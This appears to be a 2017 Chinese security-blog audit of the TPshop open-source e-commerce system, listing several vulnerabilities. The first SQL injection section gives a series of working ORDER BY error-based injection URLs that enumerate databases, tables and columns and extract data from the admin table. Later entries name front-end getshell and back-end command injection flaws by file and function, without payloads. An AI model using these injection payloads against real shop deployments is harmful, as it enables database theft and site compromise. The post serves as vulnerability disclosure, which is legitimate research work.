【PHP代码审计】TP****多个漏洞集合
phpoop 漏洞分析 14903浏览 · 2017-12-01 03:35

0x00 前言

这个系统的漏洞也是放了很久了,这几天逛T00ls发现给人家爆出来了。。爆出来了。我也一次性爆完把=-=,有和T00ls论坛的那个哥们重复的纯属正常。

防止说我是照抄的,引起不好影响,下面那图是我审计的时候上传的时间,来证明一下,引起误会就不好了。

百度云链接:https://pan.baidu.com/s/1o8MIOQI 密码:x83a

0x02 说明

TPshop开源商城系统( Thinkphp shop的简称 ),是深圳搜豹网络有限公司开发的一套多商家模式的商城系统。适合企业及个人快速构建个性化网上商城。包含PC+IOS客户端+Adroid客户端+微商城,系统PC+后台是基于ThinkPHP5 MVC构架开发的跨平台开源软件,设计得非常灵活,具有模块化架构体系和丰富的功能,易于与第三方应用系统无缝集成,在设计上,包含相当全面,以模块化架构体系,让应用组合变得相当灵活,功能也相当丰富。
下载地址:http://www.tp-shop.cn/Index/Index/download.html

目录大概结构
    ├─index.php           入口文件
    ├─Install             安装目录 //保存着各种的sql文件 php文件初始化
    ├─Thinkphp            PHP框架代码
    ├─plugins             保存插件的地方
    ├─vendor              第三方类库
    ├─Public              保存css,js,img,upload的地方
    ├─Template            模版文件 //保存手机与电脑端html的地方
    │    ├─mobile              手机模版文件
    │    ├─pc                  电脑模版文件
    ├─application         项目文件夹
    │    ├─home                电脑端业务代码 //保存着电脑端的各种功能PHP文件
    │    │    ├─Controller          控制器
    │    │    ├─lang                语言包
    │    │    ├─Logic               模型逻辑层(可以当成Services来看)
    │    │    ├─model               模型层
    │    │    ├─validate            验证器
    │    │    ├─view                视图(在这框架中并没有什么用)
    │    ├─admin                   管理端业务代码 //保存着管理端的各种功能PHP文件同上
    │    ├─mobile                  手机端业务代码 //保存着手机端的各种功能PHP文件
    │    ├─common                  全局公共函数文件夹(我也不懂为什么这里要放一大把的model的东西)
    │    ├─common.php              全局公共函数文件
    │    ├─config php              全局公共配置文件
    │    ├─database.php            数据库配置文件
    │    ├─function.php            公共函数文件
    │    ├─route.php               系统路由文件
    │    ├─tags.php                应用行为扩展定义文件

0x03 正文

注入篇

漏洞1:前台sql注入 order by注入
文件地址:application/home/controller/Goods.php
URL地址:http://xx.com/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/desc
问题函数:goodsList()
问题参数_1: $sort = I('get.sort','goods_id');// 排序
问题参数_2: $sort_asc = I('get.sort_asc','asc');// 排序

因为是order by 的注入所以要利用一些平时用不到的sql语句

爆当前库名:

http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT database() ),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))

爆此mysql库的总数:

http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 8138 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))x)

爆某个库的名称:

http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 4362 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,451) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))x)

获取某个库表的总数:

http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 8139 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x747073686f70322e302e36)),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))x)

获取某个库每个表的表名:

http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 3572 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,451) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x747073686f70322e302e36) LIMIT 2,1),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))x)

获取某个表的字段总数:

http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 1965 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x74705f61646d696e AND table_schema=0x747073686f70322e302e36),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))x)

获取某个表 某个字段名称:

http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 3302 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT MID((IFNULL(CAST(column_name AS CHAR),0x20)),1,451) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x74705f61646d696e AND table_schema=0x747073686f70322e302e36 LIMIT 0,1),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))x)

获取某库某表某字段数据:

http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 2857 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT MID((IFNULL(CAST(admin_id AS CHAR),0x20)),1,451) FROM `tpshop2.0.6`.tp_admin ORDER BY admin_id LIMIT 0,1),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))x)

漏洞2:前台sql注入 order by注入

文件地址:application/home/controller/Goods.php
URL地址:http://xx.com/index.php/Home/Goods/search/q/a/sort/sales_sum
问题函数:search()
问题参数_1: $sort = I('get.sort','goods_id');// 排序
问题参数_2: $sort_asc = I('get.sort_asc','asc');// 排序

漏洞3:前台sql注入 order by注入

文件地址:application\mobile\controller\Goods.php
URL地址:http://xx.com/index.php/Mobile/Goods/goodsList/id/1/sort_asc/desc
问题函数:goodsList()
问题参数_1: $sort = I('get.sort','goods_id');// 排序
问题参数_2: $sort_asc = I('get.sort_asc','asc'); // 排序

漏洞3:前台sql注入 order by注入

文件地址:application\mobile\controller\Goods.php
URL地址:http://xx.com/index.php/Mobile/Goods/search/id/0/q/小米/sort/shop_price
问题函数:search()
问题参数_1: $sort = I('get.sort','goods_id'); // 排序
问题参数_2: $sort_asc = I('get.sort_asc','asc'); // 排序

前后台getshell篇

漏洞1:前台无限制getshell漏洞

文件地址:application/home/controller/Test.php
URL地址:http://xx.com/index.php/Home/test/dlfile
问题函数:dlfile()

漏洞2:前台无限制getshell漏洞

文件地址:application/home/controller/Uploadify.php
URL地址:http://xx.com/index.php/Home/Uploadify/preview
问题函数:preview()

漏洞3:后台有限制 命令注入 漏洞

文件地址:application\admin\controller\Plugin.php
URL地址:http://xx.com/index.php/Admin/Plugin/add_shipping
问题函数:add_shipping

3 条评论
某人
表情
可输入 255